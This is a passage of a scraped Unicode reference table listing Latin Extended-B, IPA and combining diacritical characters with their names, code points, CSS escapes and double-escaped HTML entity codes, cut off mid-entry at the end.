\01AALowercase T With Palatal HookƫU+001AB&amp;amp;#x01AB;&amp;amp;#427; \01ABUppercase T With HookƬU+001AC&amp;amp;#x01AC;&amp;amp;#428; \01ACLowercase T With HookƭU+001AD&amp;amp;#x01AD;&amp;amp;#429; \01ADUppercase T With Retroflex HookƮU+001AE&amp;amp;#x01AE;&amp;amp;#430; \01AEUppercase U With HornƯU+001AF&amp;amp;#x01AF;&amp;amp;#431; \01AFLowercase U With HornưU+001B0&amp;amp;#x01B0;&amp;amp;#432; \01B0Uppercase UpsilonƱU+001B1&amp;amp;#x01B1;&amp;amp;#433; \01B1Uppercase v With HookƲU+001B2&amp;amp;#x01B2;&amp;amp;#434; \01B2Uppercase Y With HookƳU+001B3&amp;amp;#x01B3;&amp;amp;#435; \01B3Lowercase Y With HookƴU+001B4&amp;amp;#x01B4;&amp;amp;#436; \01B4Uppercase Z With StrokeƵU+001B5&amp;amp;#x01B5;&amp;amp;#437; \01B5Lowercase Z With StrokeƶU+001B6&amp;amp;#x01B6;&amp;amp;#438; \01B6Uppercase EzhƷU+001B7&amp;amp;#x01B7;&amp;amp;#439; \01B7Uppercase Ezh ReversedƸU+001B8&amp;amp;#x01B8;&amp;amp;#440; \01B8Lowercase Ezh ReversedƹU+001B9&amp;amp;#x01B9;&amp;amp;#441; \01B9Lowercase Ezh With TailƺU+001BA&amp;amp;#x01BA;&amp;amp;#442; \01BALatin Letter Two With StrokeƻU+001BB&amp;amp;#x01BB;&amp;amp;#443; \01BBUppercase Tone FiveƼU+001BC&amp;amp;#x01BC;&amp;amp;#444; \01BCLowercase Tone FiveƽU+001BD&amp;amp;#x01BD;&amp;amp;#445; \01BDLatin Letter Inverted Glottal Stop With StrokeƾU+001BE&amp;amp;#x01BE;&amp;amp;#446; \01BELatin Letter WynnƿU+001BF&amp;amp;#x01BF;&amp;amp;#447; \01BFLatin Letter Dental ClickǀU+001C0&amp;amp;#x01C0;&amp;amp;#448; \01C0Latin Letter Lateral ClickǁU+001C1&amp;amp;#x01C1;&amp;amp;#449; \01C1Latin Letter Alveolar ClickǂU+001C2&amp;amp;#x01C2;&amp;amp;#450; \01C2Latin Letter Retroflex ClickǃU+001C3&amp;amp;#x01C3;&amp;amp;#451; \01C3Uppercase Dz With CaronǄU+001C4&amp;amp;#x01C4;&amp;amp;#452; \01C4Uppercase D With Small Letter Z With CaronǅU+001C5&amp;amp;#x01C5;&amp;amp;#453; \01C5Lowercase Dz With CaronǆU+001C6&amp;amp;#x01C6;&amp;amp;#454; \01C6Uppercase LjǇU+001C7&amp;amp;#x01C7;&amp;amp;#455; \01C7Uppercase L With Small Letter JǈU+001C8&amp;amp;#x01C8;&amp;amp;#456; \01C8Lowercase LjǉU+001C9&amp;amp;#x01C9;&amp;amp;#457; \01C9Uppercase NjǊU+001CA&amp;amp;#x01CA;&amp;amp;#458; \01CAUppercase N With Small Letter JǋU+001CB&amp;amp;#x01CB;&amp;amp;#459; \01CBLowercase NjǌU+001CC&amp;amp;#x01CC;&amp;amp;#460; \01CCUppercase a With CaronǍU+001CD&amp;amp;#x01CD;&amp;amp;#461; \01CDLowercase a With CaronǎU+001CE&amp;amp;#x01CE;&amp;amp;#462; \01CEUppercase I With CaronǏU+001CF&amp;amp;#x01CF;&amp;amp;#463; \01CFLowercase I With CaronǐU+001D0&amp;amp;#x01D0;&amp;amp;#464; \01D0Uppercase O With CaronǑU+001D1&amp;amp;#x01D1;&amp;amp;#465; \01D1Lowercase O With CaronǒU+001D2&amp;amp;#x01D2;&amp;amp;#466; \01D2Uppercase U With CaronǓU+001D3&amp;amp;#x01D3;&amp;amp;#467; \01D3Lowercase U With CaronǔU+001D4&amp;amp;#x01D4;&amp;amp;#468; \01D4Uppercase U With Diaeresis and MacronǕU+001D5&amp;amp;#x01D5;&amp;amp;#469; \01D5Lowercase U With Diaeresis and MacronǖU+001D6&amp;amp;#x01D6;&amp;amp;#470; \01D6Uppercase U With Diaeresis and AcuteǗU+001D7&amp;amp;#x01D7;&amp;amp;#471; \01D7Lowercase U With Diaeresis and AcuteǘU+001D8&amp;amp;#x01D8;&amp;amp;#472; \01D8Uppercase U With Diaeresis and CaronǙU+001D9&amp;amp;#x01D9;&amp;amp;#473; \01D9Lowercase U With Diaeresis and CaronǚU+001DA&amp;amp;#x01DA;&amp;amp;#474; \01DAUppercase U With Diaeresis and GraveǛU+001DB&amp;amp;#x01DB;&amp;amp;#475; \01DBLowercase U With Diaeresis and GraveǜU+001DC&amp;amp;#x01DC;&amp;amp;#476; \01DCLowercase Turned EǝU+001DD&amp;amp;#x01DD;&amp;amp;#477; \01DDUppercase a With Diaeresis and MacronǞU+001DE&amp;amp;#x01DE;&amp;amp;#478; \01DELowercase a With Diaeresis and MacronǟU+001DF&amp;amp;#x01DF;&amp;amp;#479; \01DFUppercase a With Dot Above and MacronǠU+001E0&amp;amp;#x01E0;&amp;amp;#480; \01E0Lowercase a With Dot Above and MacronǡU+001E1&amp;amp;#x01E1;&amp;amp;#481; \01E1Uppercase Ae With MacronǢU+001E2&amp;amp;#x01E2;&amp;amp;#482; \01E2Lowercase Ae With MacronǣU+001E3&amp;amp;#x01E3;&amp;amp;#483; \01E3Uppercase G With StrokeǤU+001E4&amp;amp;#x01E4;&amp;amp;#484; \01E4Lowercase G With StrokeǥU+001E5&amp;amp;#x01E5;&amp;amp;#485; \01E5Uppercase G With CaronǦU+001E6&amp;amp;#x01E6;&amp;amp;#486; \01E6Lowercase G With CaronǧU+001E7&amp;amp;#x01E7;&amp;amp;#487; \01E7Uppercase K With CaronǨU+001E8&amp;amp;#x01E8;&amp;amp;#488; \01E8Lowercase K With CaronǩU+001E9&amp;amp;#x01E9;&amp;amp;#489; \01E9Uppercase O With OgonekǪU+001EA&amp;amp;#x01EA;&amp;amp;#490; \01EALowercase O With OgonekǫU+001EB&amp;amp;#x01EB;&amp;amp;#491; \01EBUppercase O With Ogonek and MacronǬU+001EC&amp;amp;#x01EC;&amp;amp;#492; \01ECLowercase O With Ogonek and MacronǭU+001ED&amp;amp;#x01ED;&amp;amp;#493; \01EDUppercase Ezh With CaronǮU+001EE&amp;amp;#x01EE;&amp;amp;#494; \01EELowercase Ezh With CaronǯU+001EF&amp;amp;#x01EF;&amp;amp;#495; \01EFLowercase J With CaronǰU+001F0&amp;amp;#x01F0;&amp;amp;#496; \01F0Uppercase DzǱU+001F1&amp;amp;#x01F1;&amp;amp;#497; \01F1Uppercase D With Small Letter ZǲU+001F2&amp;amp;#x01F2;&amp;amp;#498; \01F2Lowercase DzǳU+001F3&amp;amp;#x01F3;&amp;amp;#499; \01F3Uppercase G With AcuteǴU+001F4&amp;amp;#x01F4;&amp;amp;#500; \01F4Lowercase G With AcuteǵU+001F5&amp;amp;#x01F5;&amp;amp;#501; \01F5Uppercase HwairǶU+001F6&amp;amp;#x01F6;&amp;amp;#502; \01F6Uppercase WynnǷU+001F7&amp;amp;#x01F7;&amp;amp;#503; \01F7Uppercase N With GraveǸU+001F8&amp;amp;#x01F8;&amp;amp;#504; \01F8Lowercase N With GraveǹU+001F9&amp;amp;#x01F9;&amp;amp;#505; \01F9Uppercase a With Ring Above and AcuteǺU+001FA&amp;amp;#x01FA;&amp;amp;#506; \01FALowercase a With Ring Above and AcuteǻU+001FB&amp;amp;#x01FB;&amp;amp;#507; \01FBUppercase Ae With AcuteǼU+001FC&amp;amp;#x01FC;&amp;amp;#508; \01FCLowercase Ae With AcuteǽU+001FD&amp;amp;#x01FD;&amp;amp;#509; \01FDUppercase O With Stroke and AcuteǾU+001FE&amp;amp;#x01FE;&amp;amp;#510; \01FELowercase O With Stroke and AcuteǿU+001FF&amp;amp;#x01FF;&amp;amp;#511; \01FFUppercase a With Double GraveȀU+00200&amp;amp;#x0200;&amp;amp;#512; \0200Lowercase a With Double GraveȁU+00201&amp;amp;#x0201;&amp;amp;#513; \0201Uppercase a With Inverted BreveȂU+00202&amp;amp;#x0202;&amp;amp;#514; \0202Lowercase a With Inverted BreveȃU+00203&amp;amp;#x0203;&amp;amp;#515; \0203Uppercase E With Double GraveȄU+00204&amp;amp;#x0204;&amp;amp;#516; \0204Lowercase E With Double GraveȅU+00205&amp;amp;#x0205;&amp;amp;#517; \0205Uppercase E With Inverted BreveȆU+00206&amp;amp;#x0206;&amp;amp;#518; \0206Lowercase E With Inverted BreveȇU+00207&amp;amp;#x0207;&amp;amp;#519; \0207Uppercase I With Double GraveȈU+00208&amp;amp;#x0208;&amp;amp;#520; \0208Lowercase I With Double GraveȉU+00209&amp;amp;#x0209;&amp;amp;#521; \0209Uppercase I With Inverted BreveȊU+0020A&amp;amp;#x020A;&amp;amp;#522; \020ALowercase I With Inverted BreveȋU+0020B&amp;amp;#x020B;&amp;amp;#523; \020BUppercase O With Double GraveȌU+0020C&amp;amp;#x020C;&amp;amp;#524; \020CLowercase O With Double GraveȍU+0020D&amp;amp;#x020D;&amp;amp;#525; \020DUppercase O With Inverted BreveȎU+0020E&amp;amp;#x020E;&amp;amp;#526; \020ELowercase O With Inverted BreveȏU+0020F&amp;amp;#x020F;&amp;amp;#527; \020FUppercase R With Double GraveȐU+00210&amp;amp;#x0210;&amp;amp;#528; \0210Lowercase R With Double GraveȑU+00211&amp;amp;#x0211;&amp;amp;#529; \0211Uppercase R With Inverted BreveȒU+00212&amp;amp;#x0212;&amp;amp;#530; \0212Lowercase R With Inverted BreveȓU+00213&amp;amp;#x0213;&amp;amp;#531; \0213Uppercase U With Double GraveȔU+00214&amp;amp;#x0214;&amp;amp;#532; \0214Lowercase U With Double GraveȕU+00215&amp;amp;#x0215;&amp;amp;#533; \0215Uppercase U With Inverted BreveȖU+00216&amp;amp;#x0216;&amp;amp;#534; \0216Lowercase U With Inverted BreveȗU+00217&amp;amp;#x0217;&amp;amp;#535; \0217Uppercase S With Comma BelowȘU+00218&amp;amp;#x0218;&amp;amp;#536; \0218Lowercase S With Comma BelowșU+00219&amp;amp;#x0219;&amp;amp;#537; \0219Uppercase T With Comma BelowȚU+0021A&amp;amp;#x021A;&amp;amp;#538; \021ALowercase T With Comma BelowțU+0021B&amp;amp;#x021B;&amp;amp;#539; \021BUppercase YoghȜU+0021C&amp;amp;#x021C;&amp;amp;#540; \021CLowercase YoghȝU+0021D&amp;amp;#x021D;&amp;amp;#541; \021DUppercase H With CaronȞU+0021E&amp;amp;#x021E;&amp;amp;#542; \021ELowercase H With CaronȟU+0021F&amp;amp;#x021F;&amp;amp;#543; \021FUppercase N With Long Right LegȠU+00220&amp;amp;#x0220;&amp;amp;#544; \0220Lowercase D With CurlȡU+00221&amp;amp;#x0221;&amp;amp;#545; \0221Uppercase OuȢU+00222&amp;amp;#x0222;&amp;amp;#546; \0222Lowercase OuȣU+00223&amp;amp;#x0223;&amp;amp;#547; \0223Uppercase Z With HookȤU+00224&amp;amp;#x0224;&amp;amp;#548; \0224Lowercase Z With HookȥU+00225&amp;amp;#x0225;&amp;amp;#549; \0225Uppercase a With Dot AboveȦU+00226&amp;amp;#x0226;&amp;amp;#550; \0226Lowercase a With Dot AboveȧU+00227&amp;amp;#x0227;&amp;amp;#551; \0227Uppercase E With CedillaȨU+00228&amp;amp;#x0228;&amp;amp;#552; \0228Lowercase E With CedillaȩU+00229&amp;amp;#x0229;&amp;amp;#553; \0229Uppercase O With Diaeresis and MacronȪU+0022A&amp;amp;#x022A;&amp;amp;#554; \022ALowercase O With Diaeresis and MacronȫU+0022B&amp;amp;#x022B;&amp;amp;#555; \022BUppercase O With Tilde and MacronȬU+0022C&amp;amp;#x022C;&amp;amp;#556; \022CLowercase O With Tilde and MacronȭU+0022D&amp;amp;#x022D;&amp;amp;#557; \022DUppercase O With Dot AboveȮU+0022E&amp;amp;#x022E;&amp;amp;#558; \022ELowercase O With Dot AboveȯU+0022F&amp;amp;#x022F;&amp;amp;#559; \022FUppercase O With Dot Above and MacronȰU+00230&amp;amp;#x0230;&amp;amp;#560; \0230Lowercase O With Dot Above and MacronȱU+00231&amp;amp;#x0231;&amp;amp;#561; \0231Uppercase Y With MacronȲU+00232&amp;amp;#x0232;&amp;amp;#562; \0232Lowercase Y With MacronȳU+00233&amp;amp;#x0233;&amp;amp;#563; \0233Lowercase L With CurlȴU+00234&amp;amp;#x0234;&amp;amp;#564; \0234Lowercase N With CurlȵU+00235&amp;amp;#x0235;&amp;amp;#565; \0235Lowercase T With CurlȶU+00236&amp;amp;#x0236;&amp;amp;#566; \0236Lowercase Dotless JȷU+00237&amp;amp;#x0237;&amp;amp;#567; \0237Lowercase Db DigraphȸU+00238&amp;amp;#x0238;&amp;amp;#568; \0238Lowercase Qp DigraphȹU+00239&amp;amp;#x0239;&amp;amp;#569; \0239Uppercase a With StrokeȺU+0023A&amp;amp;#x023A;&amp;amp;#570; \023AUppercase C With StrokeȻU+0023B&amp;amp;#x023B;&amp;amp;#571; \023BLowercase C With StrokeȼU+0023C&amp;amp;#x023C;&amp;amp;#572; \023CUppercase L With BarȽU+0023D&amp;amp;#x023D;&amp;amp;#573; \023DUppercase T With Diagonal StrokeȾU+0023E&amp;amp;#x023E;&amp;amp;#574; \023ELowercase S With Swash TailȿU+0023F&amp;amp;#x023F;&amp;amp;#575; \023FLowercase Z With Swash TailɀU+00240&amp;amp;#x0240;&amp;amp;#576; \0240Uppercase Glottal StopɁU+00241&amp;amp;#x0241;&amp;amp;#577; \0241Lowercase Glottal StopɂU+00242&amp;amp;#x0242;&amp;amp;#578; \0242Uppercase B With StrokeɃU+00243&amp;amp;#x0243;&amp;amp;#579; \0243Uppercase U BarɄU+00244&amp;amp;#x0244;&amp;amp;#580; \0244Uppercase Turned VɅU+00245&amp;amp;#x0245;&amp;amp;#581; \0245Uppercase E With StrokeɆU+00246&amp;amp;#x0246;&amp;amp;#582; \0246Lowercase E With StrokeɇU+00247&amp;amp;#x0247;&amp;amp;#583; \0247Uppercase J With StrokeɈU+00248&amp;amp;#x0248;&amp;amp;#584; \0248Lowercase J With StrokeɉU+00249&amp;amp;#x0249;&amp;amp;#585; \0249Uppercase Small Q With Hook TailɊU+0024A&amp;amp;#x024A;&amp;amp;#586; \024ALowercase Q With Hook TailɋU+0024B&amp;amp;#x024B;&amp;amp;#587; \024BUppercase R With StrokeɌU+0024C&amp;amp;#x024C;&amp;amp;#588; \024CLowercase R With StrokeɍU+0024D&amp;amp;#x024D;&amp;amp;#589; \024DUppercase Y With StrokeɎU+0024E&amp;amp;#x024E;&amp;amp;#590; \024ELowercase Y With StrokeɏU+0024F&amp;amp;#x024F;&amp;amp;#591; \024FLowercase Turned AɐU+00250&amp;amp;#x0250;&amp;amp;#592; \0250Lowercase AlphaɑU+00251&amp;amp;#x0251;&amp;amp;#593; \0251Lowercase Turned AlphaɒU+00252&amp;amp;#x0252;&amp;amp;#594; \0252Lowercase B With HookɓU+00253&amp;amp;#x0253;&amp;amp;#595; \0253Lowercase Open OɔU+00254&amp;amp;#x0254;&amp;amp;#596; \0254Lowercase C With CurlɕU+00255&amp;amp;#x0255;&amp;amp;#597; \0255Lowercase D With TailɖU+00256&amp;amp;#x0256;&amp;amp;#598; \0256Lowercase D With HookɗU+00257&amp;amp;#x0257;&amp;amp;#599; \0257Lowercase Reversed EɘU+00258&amp;amp;#x0258;&amp;amp;#600; \0258Lowercase SchwaəU+00259&amp;amp;#x0259;&amp;amp;#601; \0259Lowercase Schwa With HookɚU+0025A&amp;amp;#x025A;&amp;amp;#602; \025ALowercase Open EɛU+0025B&amp;amp;#x025B;&amp;amp;#603; \025BLowercase Reversed Open EɜU+0025C&amp;amp;#x025C;&amp;amp;#604; \025CLowercase Reversed Open E With HookɝU+0025D&amp;amp;#x025D;&amp;amp;#605; \025DLowercase Closed Reversed Open EɞU+0025E&amp;amp;#x025E;&amp;amp;#606; \025ELowercase Dotless J With StrokeɟU+0025F&amp;amp;#x025F;&amp;amp;#607; \025FLowercase G With HookɠU+00260&amp;amp;#x0260;&amp;amp;#608; \0260Lowercase Script GɡU+00261&amp;amp;#x0261;&amp;amp;#609; \0261Latin Letter Small Capital GɢU+00262&amp;amp;#x0262;&amp;amp;#610; \0262Lowercase GammaɣU+00263&amp;amp;#x0263;&amp;amp;#611; \0263Lowercase Rams HornɤU+00264&amp;amp;#x0264;&amp;amp;#612; \0264Lowercase Turned HɥU+00265&amp;amp;#x0265;&amp;amp;#613; \0265Lowercase H With HookɦU+00266&amp;amp;#x0266;&amp;amp;#614; \0266Lowercase Heng With HookɧU+00267&amp;amp;#x0267;&amp;amp;#615; \0267Lowercase I With StrokeɨU+00268&amp;amp;#x0268;&amp;amp;#616; \0268Lowercase IotaɩU+00269&amp;amp;#x0269;&amp;amp;#617; \0269Latin Letter Small Capital IɪU+0026A&amp;amp;#x026A;&amp;amp;#618; \026ALowercase L With Middle TildeɫU+0026B&amp;amp;#x026B;&amp;amp;#619; \026BLowercase L With BeltɬU+0026C&amp;amp;#x026C;&amp;amp;#620; \026CLowercase L With Retroflex HookɭU+0026D&amp;amp;#x026D;&amp;amp;#621; \026DLowercase LezhɮU+0026E&amp;amp;#x026E;&amp;amp;#622; \026ELowercase Turned MɯU+0026F&amp;amp;#x026F;&amp;amp;#623; \026FLowercase Turned M With Long LegɰU+00270&amp;amp;#x0270;&amp;amp;#624; \0270Lowercase M With HookɱU+00271&amp;amp;#x0271;&amp;amp;#625; \0271Lowercase N With Left HookɲU+00272&amp;amp;#x0272;&amp;amp;#626; \0272Lowercase N With Retroflex HookɳU+00273&amp;amp;#x0273;&amp;amp;#627; \0273Latin Letter Small Capital NɴU+00274&amp;amp;#x0274;&amp;amp;#628; \0274Lowercase Barred OɵU+00275&amp;amp;#x0275;&amp;amp;#629; \0275Latin Letter Small Capital OeɶU+00276&amp;amp;#x0276;&amp;amp;#630; \0276Lowercase Closed OmegaɷU+00277&amp;amp;#x0277;&amp;amp;#631; \0277Lowercase PhiɸU+00278&amp;amp;#x0278;&amp;amp;#632; \0278Lowercase Turned RɹU+00279&amp;amp;#x0279;&amp;amp;#633; \0279Lowercase Turned R With Long LegɺU+0027A&amp;amp;#x027A;&amp;amp;#634; \027ALowercase Turned R With HookɻU+0027B&amp;amp;#x027B;&amp;amp;#635; \027BLowercase R With Long LegɼU+0027C&amp;amp;#x027C;&amp;amp;#636; \027CLowercase R With TailɽU+0027D&amp;amp;#x027D;&amp;amp;#637; \027DLowercase R With FishhookɾU+0027E&amp;amp;#x027E;&amp;amp;#638; \027ELowercase Reversed R With FishhookɿU+0027F&amp;amp;#x027F;&amp;amp;#639; \027FLatin Letter Small Capital RʀU+00280&amp;amp;#x0280;&amp;amp;#640; \0280Latin Letter Small Capital Inverted RʁU+00281&amp;amp;#x0281;&amp;amp;#641; \0281Lowercase S With HookʂU+00282&amp;amp;#x0282;&amp;amp;#642; \0282Lowercase EshʃU+00283&amp;amp;#x0283;&amp;amp;#643; \0283Lowercase Dotless J With Stroke and HookʄU+00284&amp;amp;#x0284;&amp;amp;#644; \0284Lowercase Squat Reversed EshʅU+00285&amp;amp;#x0285;&amp;amp;#645; \0285Lowercase Esh With CurlʆU+00286&amp;amp;#x0286;&amp;amp;#646; \0286Lowercase Turned TʇU+00287&amp;amp;#x0287;&amp;amp;#647; \0287Lowercase T With Retroflex HookʈU+00288&amp;amp;#x0288;&amp;amp;#648; \0288Lowercase U BarʉU+00289&amp;amp;#x0289;&amp;amp;#649; \0289Lowercase UpsilonʊU+0028A&amp;amp;#x028A;&amp;amp;#650; \028ALowercase v With HookʋU+0028B&amp;amp;#x028B;&amp;amp;#651; \028BLowercase Turned VʌU+0028C&amp;amp;#x028C;&amp;amp;#652; \028CLowercase Turned WʍU+0028D&amp;amp;#x028D;&amp;amp;#653; \028DLowercase Turned YʎU+0028E&amp;amp;#x028E;&amp;amp;#654; \028ELatin Letter Small Capital YʏU+0028F&amp;amp;#x028F;&amp;amp;#655; \028FLowercase Z With Retroflex HookʐU+00290&amp;amp;#x0290;&amp;amp;#656; \0290Lowercase Z With CurlʑU+00291&amp;amp;#x0291;&amp;amp;#657; \0291Lowercase EzhʒU+00292&amp;amp;#x0292;&amp;amp;#658; \0292Lowercase Ezh With CurlʓU+00293&amp;amp;#x0293;&amp;amp;#659; \0293Latin Letter Glottal StopʔU+00294&amp;amp;#x0294;&amp;amp;#660; \0294Latin Letter Pharyngeal Voiced FricativeʕU+00295&amp;amp;#x0295;&amp;amp;#661; \0295Latin Letter Inverted Glottal StopʖU+00296&amp;amp;#x0296;&amp;amp;#662; \0296Latin Letter Stretched CʗU+00297&amp;amp;#x0297;&amp;amp;#663; \0297Latin Letter Bilabial ClickʘU+00298&amp;amp;#x0298;&amp;amp;#664; \0298Latin Letter Small Capital BʙU+00299&amp;amp;#x0299;&amp;amp;#665; \0299Lowercase Closed Open EʚU+0029A&amp;amp;#x029A;&amp;amp;#666; \029ALatin Letter Small Capital G With HookʛU+0029B&amp;amp;#x029B;&amp;amp;#667; \029BLatin Letter Small Capital HʜU+0029C&amp;amp;#x029C;&amp;amp;#668; \029CLowercase J With Crossed-TailʝU+0029D&amp;amp;#x029D;&amp;amp;#669; \029DLowercase Turned KʞU+0029E&amp;amp;#x029E;&amp;amp;#670; \029ELatin Letter Small Capital LʟU+0029F&amp;amp;#x029F;&amp;amp;#671; \029FLowercase Q With HookʠU+002A0&amp;amp;#x02A0;&amp;amp;#672; \02A0Latin Letter Glottal Stop With StrokeʡU+002A1&amp;amp;#x02A1;&amp;amp;#673; \02A1Latin Letter Reversed Glottal Stop With StrokeʢU+002A2&amp;amp;#x02A2;&amp;amp;#674; \02A2Lowercase Dz DigraphʣU+002A3&amp;amp;#x02A3;&amp;amp;#675; \02A3Lowercase Dezh DigraphʤU+002A4&amp;amp;#x02A4;&amp;amp;#676; \02A4Lowercase Dz Digraph With CurlʥU+002A5&amp;amp;#x02A5;&amp;amp;#677; \02A5Lowercase Ts DigraphʦU+002A6&amp;amp;#x02A6;&amp;amp;#678; \02A6Lowercase Tesh DigraphʧU+002A7&amp;amp;#x02A7;&amp;amp;#679; \02A7Lowercase Tc Digraph With CurlʨU+002A8&amp;amp;#x02A8;&amp;amp;#680; \02A8Lowercase Feng DigraphʩU+002A9&amp;amp;#x02A9;&amp;amp;#681; \02A9Lowercase Ls DigraphʪU+002AA&amp;amp;#x02AA;&amp;amp;#682; \02AALowercase Lz DigraphʫU+002AB&amp;amp;#x02AB;&amp;amp;#683; \02ABLowercase Bilabial PercussiveʬU+002AC&amp;amp;#x02AC;&amp;amp;#684; \02ACLowercase Bidental PercussiveʭU+002AD&amp;amp;#x02AD;&amp;amp;#685; \02ADLowercase Turned H With FishhookʮU+002AE&amp;amp;#x02AE;&amp;amp;#686; \02AELowercase Turned H With Fishhook and TailʯU+002AF&amp;amp;#x02AF;&amp;amp;#687; \02AFCombining Grave Accent̀U+00300&amp;amp;#x0300;&amp;amp;#768; \0300Combining Acute Accent́U+00301&amp;amp;#x0301;&amp;amp;#769; \0301Combining Circumflex Accent̂U+00302&amp;amp;#x0302;&amp;amp;#770; \0302Combining TildẽU+00303&amp;amp;#x0303;&amp;amp;#771; \0303Combining Macron̄U+00304&amp;amp;#x0304;&amp;amp;#772; \0304Combining Overline̅U+00305&amp;amp;#x0305;&amp;amp;#773; \0305Combining BrevĕU+00306&amp;amp;#x0306;&amp;amp;#774; \0306Combining Dot AbovėU+00307&amp;amp;#x0307;&amp;amp;#775; \0307Combining Diaeresis̈U+00308&amp;amp;#x0308;&amp;amp;#776; \0308Combining Hook AbovẻU+00309&amp;amp;#x0309;&amp;amp;#777; \0309Combining Ring Above̊U+0030A&amp;amp;#x030A;&amp;amp;#778; \030ACombining Double Acute Accent̋U+0030B&amp;amp;#x030B;&amp;amp;#779; \030BCombining CaroňU+0030C&amp;amp;#x030C;&amp;amp;#780; \030CCombining Vertical Line Above̍U+0030D&amp;amp;#x030D;&amp;amp;#781; \030DCombining Double Vertical Line Above̎U+0030E&amp;amp;#x030E;&amp;amp;#782; \030ECombining Double Grave Accent̏U+0030F&amp;amp;#x030F;&amp;amp;#783; \030FCombining Candrabindu̐U+00310&amp;amp;#x0310;&amp;amp;#784; \0310Combining Inverted BrevȇU+00311&amp;amp;#x0311;&amp;amp;#785;&amp;amp;DownBreve;\0311Combining Turned Comma Above̒U+00312&amp;amp;#x0312;&amp;amp;#786; \0312Combining Comma Above̓U+00313&amp;amp;#x0313;&amp;amp;#787; \0313Combining Reversed Comma Above̔U+00314&amp;amp;#x0314;&amp;amp;#788; \0314Combining Comma Above Right̕U+00315&amp;amp;#x0315;&amp;amp;#789; \0315Combining Grave Accent Below̖U+00316&amp;amp;#x0316;&amp;amp;#790; \0316Combining Acute Accent Below̗U+00317&amp;amp;#x0317;&amp;amp;#791; \0317Combining Left Tack Below̘U+00318&amp;amp;#x0318;&amp;amp;#792; \0318Combining Right Tack Below̙U+00319&amp;amp;#x0319;&amp;amp;#793; \0319Combining Left Angle Above̚U+0031A&amp;amp;#x031A;&amp;amp;#794; \031ACombining Horn̛U+0031B&amp;amp;#x031B;&amp;amp;#795; \031BCombining Left Half Ring Below̜U+0031C&amp;amp;#x031C;&amp;amp;#796; \031CCombining Up Tack Below̝U+0031D&amp;amp;#x031D;&amp;amp;#797; \031DCombining Down Tack Below̞U+0031E&amp;amp;#x031E;&amp;amp;#798; \031ECombining Plus Sign Below̟U+0031F&amp;amp;#x031F;&amp;amp;#799; \031FCombining Minus Sign Below̠U+00320&amp;amp;#x0320;&amp;amp;#800; \0320Combining Palatalized Hook Below̡U+00321&amp;amp;#x0321;&amp;amp;#801; \0321Combining Retroflex Hook Below̢U+00322&amp;amp;#x0322;&amp;amp;#802; \0322Combining Dot BeloẉU+00323&amp;amp;#x0323;&amp;amp;#803; \0323Combining Diaeresis Below̤U+00324&amp;amp;#x0324;&amp;amp;#804; \0324Combining Ring Below̥U+00325&amp;amp;#x0325;&amp;amp;#805; \0325Combining Comma Below̦U+00326&amp;amp;#x0326;&amp;amp;#806; \0326Combining Cedilla̧U+00327&amp;amp;#x0327;&amp;amp;#807; \0327Combining Ogonek̨U+00328&amp;amp;#x0328;&amp;amp;#808; \0328Combining Vertical Line Below̩U+00329&amp;amp;#x0329;&amp;amp;#809; \0329Combining Bridge Below̪U+0032A&amp;amp;#x032A;&amp;amp;#810; \032ACombining Inverted Double Arch Below̫U+0032B&amp;amp;#x032B;&amp;amp;#811; \032BCombining Caron Below̬U+0032C&amp;amp;#x032C;&amp;amp;#812; \032CCombining Circumflex Accent Below̭U+0032D&amp;amp;#x032D;&amp;amp;#813; \032DCombining Breve Below̮U+0032E&amp;amp;#x032E;&amp;amp;#814; \032ECombining Inverted Breve Below̯U+0032F&amp;amp;#x032F;&amp;amp;#815; \032FCombining Tilde Below̰U+00330&amp;amp;#x0330;&amp;amp;#816; \0330Combining Macron Below̱U+00331&amp;amp;#x0331;&amp;amp;#817; \0331Combining Low Line̲U+00332&amp;amp;#x0332;&amp;amp;#818; \0332Combining Double Low Line̳U+00333&amp;amp;#x0333;&amp;amp;#819; \0333Combining Tilde Overlay̴U+00334&amp;amp;#x0334;&amp;amp;#820; \0334Combining Short Stroke Overlay̵U+00335&amp;amp;#x0335;&amp;amp;#821; \0335Combining Long Stroke Overlay̶U+00336&amp;amp;#x0336;&amp;amp;#822; \0336Combining Short Solidus Overlay̷U+00337&amp;amp;#x0337;&amp;amp;#823; \0337Combining Long Solidus Overlay̸U+00338&amp;amp;#x0338;&amp;amp;#824; \0338Combining Right Half Ring Below̹U+00339&amp;amp;#x0339;&amp;amp;#825; \0339Combining Inverted Bridge Below̺U+0033A&amp;amp;#x033A;&amp;amp;#826; \033ACombining Square Below̻U+0033B&amp;amp;#x033B;&amp;amp;#827; \033BCombining Seagull Below̼U+0033C&amp;amp;#x033C;&amp;amp;#828; \033CCombining X Above̽U+0033D&amp;amp;#x033D;&amp;amp;#829; \033DCombining Vertical Tilde̾U+0033E&amp;amp;#x033E;&amp;amp;#830; \033ECombining Double Overline̿U+0033F&amp;amp;#x033F;&amp;amp;#831; \033FCombining Grave Tone Mark̀U+00340&amp;amp;#x0340;&amp;amp;#832; \0340Combining Acute Tone MarḱU+00341&amp;amp;#x0341;&amp;amp;#833; \0341Combining Greek Perispomeni͂U+00342&amp;amp;#x0342;&amp;amp;#834; \0342Combining Greek Koronis̓U+00343&amp;amp;#x0343;&amp;amp;#835; \0343Combining Greek Dialytika Tonos̈́U+00344&amp;amp;#x0344;&amp;amp;#836; \0344Combining Greek YpogegrammeniͅU+00345&amp;amp;#x0345;&amp;amp;#837; \0345Combining Bridge Above͆U+00346&amp;amp;#x0346;&amp;amp;#838; \0346Combining Equals Sign Below͇U+00347&amp;amp;#x0347;&amp;amp;#839; \0347Combining Double Vertical Line Below͈U+00348&amp;amp;#x0348;&amp;amp;#840; \0348Combining Left Angle Below͉U+00349&amp;amp;#x0349;&amp;amp;#841; \0349Combining Not Tilde Above͊U+0034A&amp;amp;#x034A;&amp;amp;#842; \034ACombining Homothetic Above͋U+0034B&amp;amp;#x034B;&amp;amp;#843; \034BCombining Almost Equal to Above͌U+0034C&amp;amp;#x034C;&amp;amp;#844; \034CCombining Left Right Arrow Below͍U+0034D&amp;amp;#x034D;&amp;amp;#845; \034DCombining Up Arrow Below͎U+0034E&amp;amp;#x034E;&amp;amp;#846; \034ECombining Grapheme Joiner͏U+0034F&amp;amp;#x034F;&amp;amp;#847; \034FCombining Right Arrowhead Above͐U+00350&amp;amp;#x0350;&amp;amp;#848; \0350Combining Left Half Ring Above͑U+00351&amp;amp;#x0351;&amp;amp;#849; \0351Combining Fermata͒U+00352&amp;amp;#x0352;&amp;amp;#850; \0352Combining X Below͓U+00353&amp;amp;#x0353;&amp;amp;#851; \0353Combining Left Arrowhead 